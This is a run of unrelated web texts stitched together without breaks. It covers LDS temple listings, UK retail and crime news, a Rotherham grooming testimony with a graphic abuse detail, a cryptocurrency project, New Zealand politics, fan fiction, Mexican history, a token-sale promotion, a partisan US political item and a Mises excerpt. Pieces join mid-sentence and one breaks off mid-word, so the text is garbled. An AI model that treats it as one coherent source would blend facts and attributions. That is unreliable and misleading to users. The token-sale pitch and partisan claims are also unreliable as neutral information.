Elder David A. Bednar (fifth from right) joins church and community leaders to break ground for the Meridian Idaho Temple on Aug. 23, 2014.
Meridian Idaho
Announced: April 2, 2011
Status: Construction
Groundbreaking: Aug. 23, 2014
Photo posted to ldschurchtemples.com on March 6, 2016.
Paris France
In July 2011, the church confirmed plans to build a temple in Paris. The Paris France Temple was formally announced announced on Oct. 1, 2011. It will be the first temple in France.
There are more than 37,000 LDS Church members in France, according to Mormon Newsroom.
Paris France
Announced: Oct. 1, 2011
Status: Under construction
Photo posted to templemormonparis.org in November 2015.
Paris France
Announced: Oct. 1, 2011
Status: Under construction
Photo posted to templemormonparis.org in November 2015.
Port-au-Prince Haiti
Shutterstock
President Monson announced plans to build a temple in Port au Prince, Haiti, during the 185th Annual General Conference on April 5, 2015.
Quito Ecuador
Adobe Stock
During the Sunday morning session of the 186th Annual General Conference, President Monson announced plans to build a temple in Quito, Ecuador.
The Quito Temple will be Ecuador's second temple, according to Mormon Newsroom. The country's other temple is in Guayaquil.
Rio de Janeiro Brazil
Mike Vondran
The Rio de Janeiro Temple will be Brazil’s seventh temple.
Announced on April 6, 2013, the temple will serve nearly 1.2 million LDS Church members, according to a DeseretNews.com article.
Rome Italy
The Rome Temple will be the 12th temple in Europe but the first in Italy.
President Monson announced the temple in October 2008, and he presided over the groundbreaking ceremony two years later.
The site will also include a multifunctional meetinghouse, a visitors center, a family history center and patron housing, according to mormontemples.org.
Rome Italy
Announced: Oct. 4, 2008
Status: Construction
Groundbreaking: Oct. 23, 2010
Rome Italy
Courtesy of Italy Rome Mission
Announced: Oct. 4, 2008
Status: Construction
Groundbreaking: Oct. 23, 2010
Photo posted to ldschurchtemples.com on March 15, 2016.
Star Valley Wyoming
IRI
The Star Valley Wyoming Temple will be the first in Wyoming.
When President Monson announced the construction of the temple in Oct. 1, 2011, he said he hoped to be the one to dedicate the temple because "there's good fishing there," according to a 2012 DeseretNews.com article.
The site location was announced in May 2012.
The groundbreaking for the Star Valley Temple was held April 25, 2015. Elder Craig C. Christensen of the Presidency of the Seventy was joined by Elder Kent F. Richards of the Seventy, along with regional and local LDS Church leaders.
The LDS Church announced the Star Valley Wyoming Temple will be dedicated on Oct. 30, 2016, according to Mormon Newsroom.
The open house for the Star Valley Wyoming Temple started Sept. 23 and will run until Oct. 8. You can reserve free tickets here. A cultural celebration will be held Oct. 29.
Star Valley Wyoming
Announced: Oct. 1, 2011
Status: Construction
Groundbreaking: April 25, 2015
Church and community leaders break ground on the Star Valley Wyoming Temple.
Star Valley Wyoming
Announced: Oct. 1, 2011
Status: Construction
Groundbreaking: April 25, 2015
Photo posted to ldschurchtemples.com on March 23, 2016.
Tucson Arizona
IRI
On Oct. 6, 2012, President Thomas S. Monson announced plans to build the Tucson Temple.
It will be the sixth temple in Arizona, where there are more than 400,000 LDS Church members.
The groundbreaking took place on Oct. 17, 2015, with President Dieter F. Uchtdorf presiding.
Tucson Arizona
Spencer Boerup, IRI
Announced: Oct. 6, 2012
Status: Construction
Groundbreaking: Oct. 17, 2015
President Dieter F. Uchtdorf and his wife, Sister Harriet Uchtdorf, are shown at the Tucson Arizona Temple groundbreaking on Oct. 17, 2015.
Tuscon Arizona
Announced: Oct. 6, 2012
Status: Construction
Groundbreaking: Oct. 17, 2015
Photo posted to ldschurchtemples.com on March 19, 2016.
Urdaneta Philippines
Google Maps
The Urdaneta Temple will be the Philippines’ third temple.
President Monson announced plans to build a temple in Urdaneta in October 2010.
Winnipeg Manitoba
iStock
The Winnipeg Temple was announced April 2, 2011.
Winnipeg will be Canada’s ninth temple, and it will serve LDS Church members who travel 400 miles to the nearest temple in Regina, Saskatchewan.
More temple lists
lds.org
Learn more about LDS temples, and test your knowledge with these lists and quizzes:Their alleged post burglary selfies went viral and their mugshot may soon follow.Eyewitness News was there when Harris County Precinct 1 investigators arrested Dillan Thompson and Dorian Walker. The two men were seen on YouTube rejoicing with thousands of dollars in cash in hand. They claimed they got the cash after a good night's "hustle."The duo also posted selfies of themselves in Burger King with the money in their mouths. In all, the two posted 17 selfies. It was all taken on a stolen iPad. Those photos uploaded to the owner's iCloud account."They are not very bright crooks," said Harris County Pct 1 Constable Alan Rosen.Thompson was arrested just before 8pm in the Montrose area. Walker was arrested at about an hour later at a home in the Greenspoint area."He (Thompson) is not very happy with you or us," said Rosen during Thompson's arrest.Rosen said Thompson told him he was headed to Colorado Thursday. He answered our questions with insults.Rosen said Thompson said he did not know what iCloud is and he said Walker was the one who uploaded the YouTube video. Rosen said the posts are key evidence in the case. Both men were arrested on felony warrants due to the amount of money and electronics that were taken from their alleged victim's truck."It's difficult because they don't live in a fixed location. They are moving around quite a bit," said Rosen.Update, Monday 21 January 2013, 5pm: HMV administrator Deloitte says the chain will start to accept gift cards from tomorrow. This story reflects the most up-to-date information we have, so has been amended from its original version.
Shoppers who bought HMV gift cards from Asda, Tesco or Boots can exchange them at face value for the retailers' own gift cards, following the chain's fall into administration.
The stricken firm, which is still trading, originally stopped accepting gift cards after Deloitte took over its affairs on 15 January, but has since done a U-turn, saying they will be accepted from Tuesday, 22 January (see the HMV administration Q&A MSE News story for more).
Supermarket giants Asda and Tesco, and chemist Boots had announced that if you bought an HMV gift card from one of their stores and still had proof of purchase, you could exchange it for one of their own. These policies still stand despite the Deloitte U-turn on vouchers.
Is anyone else exchanging HMV gift cards?
Here is a list of major retailers and what they are doing:
HMV gift card exchanges Retailer Did it sell HMV cards? Will it exchange? Asda Yes Yes Boots Yes Yes Clintons Yes No Morrisons No N/A Sainsbury's No N/A Tesco Yes Yes Waitrose No N/A WHSmith Yes No Wilkinson Yes No
Clintons, WHSmith and Wilkinson have confirmed they will not run a similar scheme.
Asda, Boots and Tesco terms
Tesco says as long as your HMV gift card is still in date, even if it's part-used, it will exchange whatever value is left on the card until the end of January. There's no limit on the value that can be exchanged, and this can be done at any Tesco store.
Quite simply, if you've got a £10 HMV gift card, you'll get £10 transferred onto a Tesco gift card.
Asda says customers have until 30 January to redeem HMV cards at any Asda store, and there is no limit on the value that can be exchanged.
Boots says even if your HMV gift card is part-used, it will exchange whatever value is left until the end of January. There's no limit on the value that can be exchanged, and this can be done at any Boots store.
Others should follow
Money Saving Expert creator Martin Lewis says: "Bravo and plaudits to Asda, Boots and Tesco for taking some responsibility for the goods they sold.
"We will be ensuring we send Clintons, Wilkinson and WHSmith a copy of this news story with a note asking them to follow suit and do the decent thing.
"We would suggest customers who bought gift cards from those stores and can't get a refund, contact them and politely but firmly register their disappointment."
It's been a bad January for the high street. Photography firm Jessops has also gone into administration, along with movie and game rental outfit Blockbuster.
Jessops gift cards are now defunct, but Blockbuster is still accepting them.
If you bought gift cards on a credit or debit card, there is a chance you can get your money back.
See our HMV administration Q&A MSE News story for further details.
Additional reporting by Jamie Stinson.Get the biggest daily news stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email
A former youth worker at Rotherham Council has told how she tried to raise the alarm about a taxi driver grooming young girls - only to be told by her boss: “You can’t say that, it’s racist!”
The employee, who spent 12 years trying to help girls classed as “out of control”, said she fears the true scale of those abused is even higher than 1,400.
“Even back in 2000, everyone working with children at the council knew about the grooming of young girls by Asian men, but nothing was done,” she told the Daily Mirror.
“Everyone knew. Good people were trying to do something, they were just blocked by those above.”
She said it was common knowledge there was a “massive problem” with married Asian taxi drivers - some as old as 70 - who had been abusing young girls.
“It was one particular taxi firm in Rotherham and back then it was about 20 of the drivers involved. The firm is still going now,” she said.
“They would pick up the girls and then deliver them to various takeaways. The girls got a ride out of it, free food and were given clothes.
“The police were told about this time and time again - but nothing was ever done. I don’t remember one conviction.
“It was so well known we were banned from using this particular taxi firm to transport the youngsters.
“Workers at the children’s units were told to take down registration plates of who picked up the girls. These were all given to police but nothing happened
“Two youth workers I knew actually got so frustrated they trained as special police officers to try and catch the drivers themselves.”
“The sad thing is these men thought the girls were trash. If they had been abusing Asian girls, we would probably have acted.”
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The worker said the drivers would also try and get themselves into positions of responsibility to make it easier to abuse the girls.
One notorious taxi driver tied to join Rotherham Council’s panel for ‘restorative justice’ - which aimed to get the community helping put youngsters on the straight and narrow.
“He said he wanted to help the community but when I saw his name on the application list alarm bells went off.
“I told my boss I recognised the name and he was well known for going after the young girls. That’s when my boss said ‘You can’t say that - it’s racist!
“I didn’t even mention he was Asian to her, I’d just said he was ‘one of those taxi drivers’ we all knew about.”
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“She did check his name with police though and they confirmed he had been arrested and questioned but never charged. Thank God he didn’t get on the panel. That’s a terrifying thought.”
And she also acknowledged it was not only Asian men responsible in Rotherham. There was one incident when a girl had a gun inserted into her vagina, by her white female ‘pimp.’
“Her case worker was told to drive the victim out of the region and she had a chat about it with her husband, who also worked in social care. He told her that was not safe when these people had guns.
"So she told her bosses and was disciplined for breaking data protection - by talking to her husband!”
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But the former worker does not believe it was just the fear of being branded a racist which stopped them taking action - it was financial too.
“One of the main ways to help these girls would be to ship them out of the area, but that cost money. They would rather keep the girls in Rotherham but that meant the abusers could get hold of them.
“I really do feel South Yorkshire’s police commissioner Shaun Wright has to go. He had a foot in both camps.
“But as for who is to blame - everyone is. I’m not sure much went right to the top of the chain.
“The problem is that all the social workers then are now in managerial positions.
“Everyone knew and nobody did anything.”A team of anonymous Harry Potter-inspired developers has released a new outline for the development of the cryptocurrency anonymity project, MimbleWimble. Named after a silencing spell from the famed Harry Potter book series, the project is now increasing its pace of development and looking to incorporate technology that the larger bitcoin network has been slow to adopt.
And though the project was first defined as an improvement to bitcoin, current developments (including the launch of an experimental MimbleWimbled-based blockchain called Grin) suggest that a standalone cryptocurrency could become the best way for the project to be realized.
Wizarding history For those new to MimbleWimble, the project first came to light with a paper published in mid-2016 under the pseudonym Tom Elvis Jedusor — the alias of Lord Voldemort in the French version of the Harry Potter series. Though relatively short at 2,000 words long, the paper struck a balance between a readable tone and a provocative and well-founded technical thesis: that bitcoin scripts should be abandoned in favor of a new method of recording transactions. The shift would effectively allow for the added privacy of one-way aggregate signatures and a novel application of bitcoin developer Gregory Maxwell’s confidential transactions across multiple blocks. But, much like his namesake after the ill-fated attack on the infant Harry Potter, Jedusor disappeared not long after posting the MimbleWimble paper. Subsequently a new team of developers took up the mantle to continue work on the project, incorporating contributions by notable figures in bitcoin, such as Blockstream’s Andrew Poelstra. And this is where the newest roadmap – given by a developer going by the name of another Harry Potter character, ‘Ignotus Peverell’ – originates.It's a fresh and relaxed picture - the kind Labour would love to replicate nearly every day on the campaign for the General Election no doubt. How will Ardern's stonking win in Mt Albert affect her standing in the party? Her colleagues are understood to be watching with interest.
OPINION: Well, no surprises there.
It was a stonking win in the Labour stronghold of Mt Albert, for the party's candidate Jacinda Ardern.
In a two-horse race, where even some key Greens members were voicing the expectation Ardern would pull a vote ratio of 9:1 compared to their own candidate, she was never going to lose.
Realistically, the margin was never going to be quite that big - Mt Albert is one of the Greens strongest performing electorates when the party vote is in the mix - but Ardern had it in the bag.
READ MORE:
* Recap: Mt Albert by-election - watch as the results roll in
* Ardern holds Mt Albert for Labour
* Andrew Little's morning after headache in Mt Albert
It now means Labour has to ask itself some questions.
Firstly, what to do with her? Ardern is Labour's biggest asset in Auckland, successive leaders have kept her just out of the throne room for some years now.
But that will only last so long, such is the pull of the spotlight.
So the second question is how badly does Labour want to win this election?
Against a new National leadership team in Bill English and Paula Bennett, Labour leader Andrew Little and veteran Annette King will forgo any arguments of tiredness that most Oppositions would expect to be able to level towards a third-term Government.
It should be pointed out, Ardern has taken the utmost care to never utter the words she wants the top job, or even the deputy, but no politician has ever sat four seats away from the top of the table and not taken count.
Conversely, it's understood King has been none too subtle about her views Ardern is not up to her job.
But rather than simply looking at sheer force of personality, lets look at the practicalities. Labour's leadership team boasts two political veterans, both highly capable but both Wellington-based and at the General Election, both will be standing as list candidates.
There will be no Auckland representation in their leadership team, or even their top three, with Finance spokesman Grant Robertson the MP for Wellington Central.
That should not be underestimated. And neither should the opinions of nearly every non-political person at a backyard barbecue who says "I don't follow politics too much, but I really like that Jacinda Ardern lady". (There are many).
It's been commented on widely that if Ardern wins as convincingly as she should, and pulls a respectable turnout, then Labour leader Andrew Little would be wise to consider his team and strike in the week after.
With National changing their lineup and the Prime Minister just two months ago, Labour is well justified in an election-year refresh without too much flak.
Ardern will take heart from her performance yesterday; she's an example of a shining star that won't be outshone by others in their twilight.
She'll allow herself Sunday to enjoy it, but tomorrow, it's straight back to the grindstone for re-election in September.
That election will be tougher, but still hers to lose.
The other danger Labour has, is a tendency to crow about a good "ground game", and expect National to be scared at that.
Labour has always done well in by-elections - with a mobilised and enthused ground-force, ready to knock on doors in the thousands it's easy for them in confined space.
Sitting in Ardern's election night camp last night, what I saw was a room full of happy faces, granted. But minutes after Little arrived, he stood in a huddle with MP Phil Twyford and Ardern in the centre of the room.
Ardern quickly peeled off and continued working the room, while the odd person came up and talked to Little. He eventually did that same, but it's clear he's not the natural Ardern is, and former Prime Minister John Key was without trying.
The coordination of a good ground game will not translate to a nationwide setting without some serious inspiration.
The kind that comes from someone people like, even if they can't quite put their finger on why.The Indians will have Salazar start Thursday's series finale against the Angels, Ryan Lewis of the Akron Beacon Journal reports.
Salazar was moved to the bullpen after he failed to escape the first inning of his Sept. 5 start upon returning from a brief stint on the disabled list, but he'll rejoin the rotation this week in order to afford the team's other five starters an additional day of rest. Assuming Salazar performs well Thursday, he could end up earning a couple more starts in September if manager Terry Francona elects to keep a six-man rotation in place, but that's far from guaranteed. Salazar's entry into the rotation on at least a temporary basis means that Mike Clevinger, who will start Tuesday's game against the Angels, will miss out on a two-start week.Chapter 21: Time Wasting, Mechs, And Shock Videos
Hey, readers! Another nugget of The Draigg's InfoNotes (Trademarked)! Did you know that green is statistically the most badass color in the color spectrum? Now, I know what you're thinking: "The Draigg, isn't red the color most associated with badassery?". Well, you'd be kind of right. Red is a cool color. But, ask yourself this: what color is Spiral Energy, Getter Rays, Bronze Bell Energy, G-Stone Energy, and The Ideon's logo? Therefore, green is the color that kicks the most ass. I rest my case. Anyway, with that little nugget of truth (Trademarked) out of the way, let's get to the story!
xxx
Meanwhile, while a fire was burning in a police station on the other side of Vale City, something else was being burned by a certain Roman Torchwick. More specifically he was burning time on the clock.
Ever since he'd squirreled away his (even more) ill-gotten money and got ready to abandon Cinder, he shit-kids, and the White Fang, Roman and Neo had only shown back up to the warehouse hide out to keep up appearances. After all, if someone found out what they were planning for, they might kill the criminal pair. Or worse, take their money away from them. Now THAT was a fate worse than death. Roman personally wanted to be cremated with at least a million lien when he died. And as for Neo… well, she needed to fund her ice cream addiction somehow.
So, along those lines, Roman and Neo had been hiding away in the warehouse office for most, if not all of the day. Between getting Perry to bring him in a bunch of pizzas and having a stable internet connection, Roman was pretty satisfied with the lack of anything accomplished by himself today. He could tell that Neo was feeling the same way, judging by the |
Treaty had failed in the bitterly divided U.S. Senate, where tensions were high between the North and the South over other issues. Such a treaty would have allowed U.S. construction in Mexico and protection from European forces in exchange for a payment of $4 million to the heavily indebted government of Benito Juárez. On December 3, 1860, President James Buchanan had delivered a speech stating his displeasure at being unable to secure Mexico from European interference: European governments would have been deprived of all pretext to interfere in the territorial and domestic concerns of Mexico. We should have thus been relieved from the obligation of resisting, even by force, should this become necessary, any attempt of these governments to deprive our neighboring republic of portions of her territory, a duty from which we could not shrink without abandoning the traditional and established policy of the American people.[17] United States policy did not change during the French occupation as it had to use its resources for the American Civil War, which lasted 1861 to 1865. President Abraham Lincoln expressed his sympathy to Latin American republics against any European attempt to establish a monarchy. Shortly after the establishment of the Imperial government in April 1864, United States Secretary of State William H. Seward, while maintaining U.S. neutrality, expressed U.S. discomfort at the imposition of a monarchy in Mexico: "Nor can the United States deny that their own safety and destiny to which they aspire are intimately dependent on the continuance of free republican institutions throughout America."[18] On April 4, 1864, Congress passed a joint resolution: Resolved, &c., That the Congress of the United States are unwilling, by silence, to leave the nations of the world under the impression that they are indifferent spectators of the deplorable events now transpiring in the Republic of Mexico; and they therefore think fit to declare that it does not accord with the policy of the United States to acknowledge a monarchical government, erected on the ruins of any republican government in America, under the auspices of any European power.[19] Near the end of the American Civil War, representatives at the 1865 Hampton Roads Conference briefly discussed a proposal for a North-South reconciliation by a joint action against the French in Mexico. In 1865, through the selling of Mexican bonds by Mexican agents in the United States, the Juarez Administration raised between $16-million and $18-million dollars for the purchase of American war material.[20] Between 1865 and 1868, General Herman Sturm acted as an agent to deliver guns and ammunition to the Mexican Republic led by Juarez.[21] In 1866 General Philip Sheridan was in charge of transferring additional supplies and weapons to the Liberal army, including some 30,000 rifles directly from the Baton Rouge Arsenal in Louisiana.[22] By 1867, Seward shifted American policy from thinly veiled sympathy to the republican government of Juárez to open threat of war to induce a French withdrawal. Seward had invoked the Monroe Doctrine and later stated in 1868, "The Monroe Doctrine, which eight years ago was merely a theory, is now an irreversible fact."[23]
French withdrawal and Republican victories Edit
Battle of Miahuatlán, 3 October 1866 In 1866, choosing Franco-American relations over his Mexican monarchy ambitions, Napoleon III announced the withdrawal of French forces beginning 31 May. The Republicans won a series of crippling victories taking immediate advantage of the end of French military support to the Imperial troops, occupying Chihuahua on 25 March,[24] taking Guadalajara on 8 July,[25] further capturing Matamoros, Tampico and Acapulco in July.[25] Napoleon III urged Maximilian to abandon Mexico and evacuate with the French troops. The French evacuated Monterrey on 26 July,[25] Saltillo on 5 August,[25] and the whole state of Sonora in September.[25] Maximilian's French cabinet members resigned on 18 September.[25] The Republicans defeated imperial troops in the Battle of Miahuatlán in Oaxaca in October, occupying the whole of Oaxaca in November, as well as parts of Zacatecas, San Luis Potosí and Guanajuato. On 6 December the Austrian and Belgian volunteers disbanded and were supposed to join the Mexican Army; however, 3500 of the 4648 volunteers did not enlist, and tried to flee the country. On 13 November, Ramón Corona and the French agreed to terms for the withdrawal of the latter forces from Mazatlán. At noon, the Europeans boarded three men-of-war, Rhin, Marie and Talisman and departed.
Republican triumph, execution of Maximilian Edit
Divisions and disembarkation of allied troops Edit
See also Edit
References EditGet the biggest daily stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email
A Big Issue seller who spent years sleeping rough on the streets has won a place at Cambridge University.
Geoff Edwards, 52, who left Liverpool for Cambridge to find work, spent a large part of his adult life homeless after field labourer work in the area dried up, the Cambridge News reports.
Now Geoff has earned himself a place studying English Literature at one of the best universities in the country, despite leaving school with just two O-Levels.
After spending years being homeless, Geoff said his life began to turn around when he started to sell the Big Issue and got back some of his self respect through working.
He said: “Going to Cambridge University was a dream of mine, studying something I really love – I’m still getting used to the idea.
“This is what I have always wanted to do, but no-one in my family had been to university so I didn’t even consider it.
“I didn’t think of applying to Cambridge - I didn’t think Cambridge University would take someone like me, but my tutor encouraged me to apply. It is the first thing I am proud of in my life.
“Cambridge is a big step up but I am looking forward to pushing myself. I can’t believe what I’ve achieved.”
(Image: Nick Ansell/PA Wire)
Geoff explained how he ended up homeless, and how he turned it around, saying: “I came to Cambridge from Liverpool to do field work, but the work dried up.
“I was homeless for a long time after that and I was isolated and getting anxious.
“Eventually I started selling the Big Issue on the streets of Cambridge, which helped and gave me back a bit of self-respect.
“I knew I was in a rut and I decided to do something different with my life.”
After spending so long out of education, Geoff had to take an access course at Cambridge Regional College to help him get into university.
The course is designed for adults who want to return to education or need extra qualifications to go to university, and enabled Geoff to join Hughes Hall - the oldest Cambridge college for graduates and mature undergraduates.
Geoff’s incredible achievements have been recognised by CAVA, the Cambridge Access Validating Agency, which has awarded him an Outstanding Academic Achievement award, due to be presented at a special ceremony next month.The Tokenomics of the FKX Utility Token
FortKnoxster Blocked Unblock Follow Following Nov 14, 2017
A clear description of how our utility token is used in the FortKnoxster ecosystem and community
A Quick Presentation of FortKnoxster — the most secure and private communications platform
In order to address one of the most critical threats to the modern world — cyber-crimes — FortKnoxster has developed a communications platform that uses end-to-end encryption services. Constructed on blockchain technology and advanced cryptographic algorithms, FortKnoxster manages to provide safe and private communications on a multitude of channels: inbox, chat messaging, voice messaging, calling, storage, screen sharing, group calls, etc. Designed for individual users, organizations and businesses, the platform can be accessed and used via a dedicated mobile app and an online website.
The FortKnoxster Token (FKX)
A fixed supply for FKX will be generated during the token sale (135 Million tokens created). A ledger on the blockchain will be established to maintain the FKX token, following the ERC20 standard — this will also permit a secure mechanism for the assignment of FKX to other participants.
There are several ways in which users will be able to further obtain FKX tokens, for example, users can rent out their hard disk space as part of FortKnoxster’s decentralized storage, they can also refer other users to the platform amongst other incentive programs. Users will be able to spend the tokens by acquiring service upgrades.
The Benefits of Gaining Access to the FKX Tokens
By acquiring tokens, the users will be given access to the upgraded version of the FortKnoxster Dashboard — here, they will get all of the features available and in addition to this, they will also get 100GB of storage space (in comparison to the demo account that offers 100 MB). Users also have the option of upgrading to unlimited storage space. Consider all of this cloud space as more storage capacity for all of your online communications — email, chat, calling, file sharing, file storage, group chat/conferences, video calls, calendars, notes, etc.
The Proven Strengths of the FKX token — determining the worth, value and usefulness of the FortKnoxster tokens in a simple manner
Cryptocurrency experts say that the more features the token offers, the better.
By using the FKX token, the members of the ecosystem benefit from several advantages and privileges, this underlines that the token is indeed an utility token with a diversified use and a meaningful purpose. On top of this, a very complex analysis, recently published by William Mougayar, presents some of the most important points an ICO-based platform should incorporate (in regards to not only to the token holders, but also to tokens themselves, their role or the blockchain). For this, he bases his theory on the presentation of three main principles: Roles, Features & Purpose. The ‘Roles’ are the ones that strictly determine the purpose of the token; then, the ‘Purpose’ causes a certain set of ‘Features’ to be implemented. Together, these three elements create a unique environment for the token’s usage to be made visible and tangible.
Taking this analysis into consideration, FortKnoxster is now able to list and detail the top strengths of its token (especially by evaluating its utility):
✓ The token is tied to a product usage — FKX tokens are closely connected to being used inside the FortKnoxster communications platform
✓ The user can contribute to the platform and can also improve its storage capacity (by renting out their hard disk space) — in return, the user is rewarded with tokens. Rewards are also achieved by actively participating in the Bug Bounty (submission of security reports of bugs encountered in the platform, with Proof of Concept).
✓ The user is rewarded for his active work — by inviting friends to join the platform; this is done by granting the users a specific, fixed FKX token amount.
✓ The user is rewarded for his passive work — through loyalty, by using the platform
✓ The token can be used for payment of services
✓ The FKX token is the main payment unit
✓ FortKnoxster builds a complete ecosystem using the FKX token and Smart Contracts on the Ethereum blockchain
For more information and examples regarding the FKX Token Ecosystem, please read chapter 9 (starting with page 19) in the FortKnoxster whitepaper available here: https://fortknoxster.com/FortKnoxster%20Whitepaper.pdf.
Quick Facts and Figures
135 Million - THE EXACT NUMBER OF FKX TOKENS ISSUED
80.325 Million - Tokens available for the token sale
$15 Million - MAX CROWDSALE CAP
FKX is an Ethereum ERC20 token
Token Distribution
The largest dispensed quantity of the FKX tokens will be directed towards the Token Sale. More precisely, there will be 59.5% available for the token sale. This means that out of the total of 135 million FKX tokens issued, 80.325 million will be allocated during the token sale.
The remaining number of over 40% will be assigned as follows: Partners & Advisors (12%), Community Incentives (11%), the FortKnoxster platform itself (10%), Founders (7.5%).
Token Sale
Our pre-sale starts 5. February 2018 @ 12.00 CET and public token sale starts 19. February 2018 @ 12.00 CET.
Can’t wait? Register here (no strings attached) for pre-sale terms and early-bird discounts: https://fortknoxster.typeform.com/to/lRTwjP
https://fortknoxster.com/token-sale/
Got Questions?
Our team members are always available to answer your questions. Join our public channels on Telegram and follow us on Bitcointalk, Twitter, Facebook, Reddit, YouTube, Medium and our website. Also, you can always get in touch with us directly via email at contact@fortknoxster.com.What would run through your head, if you were told that you should terminate your pregnancy? Would you get a second opinion, or would you go ahead with it? Let us just say the first option is the better choice!
Meet Rikky Foresman, he is a kid that happens to be born with Spina Bifida Myelomenigocele. He is a Williamsport native around here that has quite a story about his condition he has.
Spina Bifida Myelomenigocele is the most severe form of Spina Bifida. It is when the condition of spinal cord fails to close during development of the fetus. This usually happens between 20 to 28 days of gestation, often before a woman knows she is pregnant. This leaves the nerves exposed resulting in damage to the spinal cord while pregnancy continues.
Lizz, and Rik Foresman found out within her 20th week pregnancy, that their kid had Spina Bifida. The local doctor in Williamsport told them they should terminate their pregnancy. Against the doctor’s advice, they went to Geisinger Medical for a second opinion, in which it gave them hope.
Geisinger Medical stated little Rikky would live a normal life with just a few challenges. On September 16, 2009, Rikky, is brought into this world. A day later, he had his first surgery to repair his spinal cord and close the open wound on his back. Then within 5 days, he had his second surgery, which would require a shunt in his head to keep any excess liquid from retaining.
This was not the only surgeries this kid has gone through, he also had 3 surgeries due to having hip dysplasia, which put him in a half body cast for 3 weeks. He also had kidney reflux due to him being paralyzed.
Years later, they happen to find a treatment that helped Rikky that involved stem cells. Unfortunately stem cells is a very expensive practice at this time. Thanks to the donations that were given to him, his family was able to fly out to Nova Cells Institute in Mexico to receive treatment.
Since Rikky had treatment, he can actually now walk and be able to have control of his bladder now. And he has been making a lot of progress because of stem cells.
In 2014, Rik, and Lizz almost lost Rikky due to his shunt being infected. As miraculous this kid has been, he pulled through like a champion!
While Rikky has gone through many trials and tribulations, Make A Wish Foundation, has pitched in to send him to Disneyland, and have dinner with Mickey Mouse on his 6th birthday to help the cause.
There is ways you can help Rikky out! Here in Williamsport, there will be a Blazin For Rikky: Band Benefit, Kid’s Fair & Poker Run, on Saturday, August 22nd, 2015 at 2PM. If you cannot make it, that is fine as well. At Citizens And Northern Bank on Dewey Ave in Old Lycoming, there is a donation set up that you can help them out! You can write it out to Blazin For Rikky, or to Rik Foresman!
At the bottom of this page, there will be links towards these upcoming events. This will help him out to be able to seek out the treatment he needs. Please share this story and I hope it touches your heart. ROCK ON RIKKY!
Location
Hepburnville Carnival Grounds
Blazin For Rikky (Facebook Page)
https://www.facebook.com/BlazinforRikky?fref=tsAs the investigation into why former DNC Chairwoman Debbie Wasserman Schultz failed to fire IT staffer Imran Awan after he allegedly stole House property, wired nearly $300,000 to Pakistan and was arrested at the airport for bank fraud, the Congresswoman is accusing the police and FBI agents of racism. Further, she's essentially calling investigators Islamophobic because Awan is Muslim.
“When their investigation was reviewed with me, I was presented with no evidence of anything that they were being investigated for. And so that in me gave me great concern that his due process rights were being violated. That there were racial and ethnic profiling concerns that I had,’” Wasserman Schultz told the Sun Sentinel in an exclusive interview.
Wasserman Schultz has been under heavy criticism for failing to fire Awan after he was fired by every other Democrat he worked for on Capitol Hill. In February Awan and his brother were banned from working on House systems or computers after evidence of wrongdoing started to surface. Wasserman Schultz kept him on board as a staffer until the end of July and finally fired him after he was arrested at the airport attempting to leave the country. Regardless, she says she has no regrets about how she handled the situation. A number of her colleagues have called on her to testify under oath about her knowledge of Awan's actions.
Watch the latest video at video.foxnews.com
Earlier this year Wasserman Schultz scolded Capitol Police Chief Matthew Verderosa for confiscating an office laptop as part of their investigation into Awan. She even went so far as threatening "consequences" if it were not returned, a conflict interest since she sits on the committee that allocates funding for the department.
Capitol police and the FBI agents investigating this case aren't Islamophobic as Wasserman Schultz has accused. Instead, they want to know about why Awan potentially stole sensitive national security information from the House of Representatives on top of defrauding the American taxpayer by double charging for equipment.[Excerpt from Omnipotent Government: The Rise of Total State and Total War (1944), chapter 7]
Hitler and his clique conquered Germany by brutal violence, by murder and crime. But the doctrines of Nazism had got hold of the German mind long before then. Persuasion, not violence, had converted the immense majority of the nation to the tenets of militant nationalism.
If Hitler had not succeeded in winning the race for dictatorship, somebody else would have won it. There were plenty of candidates whom he had to eclipse: Kapp, General Ludendorff, Captain Ehrhardt, Major Papst, Forstrat Escherich, Strasser, and many more. Hitler had no inhibitions and thus he defeated his better instructed or more scrupulous competitors.
Nazism conquered Germany because it never encountered any adequate intellectual resistance. It would have conquered the whole world if, after the fall of France, Great Britain and the United States had not begun to fight it seriously.
The contemporary criticism of the Nazi program failed to serve the purpose. People were busy dealing with the mere accessories of the Nazi doctrine. They never entered into a full discussion of the essence of National Socialist teachings. The reason is obvious. The fundamental tenets of the Nazi ideology do not differ from the generally accepted social and economic ideologies. The difference concerns only the application of these ideologies to the special problems of Germany.
These are the dogmas of present-day “unorthodox” orthodoxy:
1. Capitalism is an unfair system of exploitation. It injures the immense majority for the benefit of a small minority. Private ownership of the means of production hinders the full utilization of natural resources and of technical improvements. Profits and interest are tributes which the masses are forced to pay to a class of idle parasites. Capitalism is the cause of poverty and must result in war.
2. It is therefore the foremost duty of popular government to substitute government control of business for the management of capitalists and entrepreneurs.
3. Price ceilings and minimum wage rates, whether directly enforced by the administration or indirectly by giving a free hand to trade-unions, are an adequate means for improving the lot of the consumers and permanently raising the standard of living of all wage earners. They are steps on the way toward entirely emancipating the masses (by the final establishment of socialism) from the yoke of capital. (We may note incidentally that Marx in his later years violently opposed these propositions. Present-day Marxism, however, endorses them fully.)
4. Easy money policy, i.e., credit expansion, is a useful method of lightening the burdens imposed by capital upon the masses and making a country more prosperous. It has nothing to do with the periodical recurrence of economic depression. Economic crises are an evil inherent in unhampered capitalism.
5. All those who deny the foregoing statements and assert that capitalism best serves the masses and that the only effective method of permanently improving the economic conditions of all strata of society is progressive accumulation of new capital are ill-intentioned and narrow-minded apologists of the selfish class interests of the exploiters. A return to laissez faire, free trade, the gold standard, and economic freedom is out of the question. Mankind will fortunately never go back to the ideas and policies of the nineteenth century and the Victorian age. (Let us note incidentally that both both Marxism and trade-unionism have the fairest claim to the epithets “nineteenth-century” and “Victorian.”)
6. The advantage derived from foreign trade lies exclusively in exporting. Imports are bad and should be prevented as much as possible. The happiest situation in which a nation can find itself is where it need not depend on any imports from abroad. (The “progressives,” it is true, are not enthusiastic about this dogma and sometimes even reject it as a nationalist error; however, their political acts are thoroughly dictated by it.)
With regard to these dogmas there is no difference between present-day British liberals and the British labor party on the one hand and the Nazis on the other. It does not matter that the British call these principles an outgrowth of liberalism and economic democracy while the Germans, on better grounds, call them antiliberal and antidemocratic. It is not much more important that in Germany nobody is free to utter dissenting views, while in Great Britain a dissenter is only laughed at as a fool and slighted.
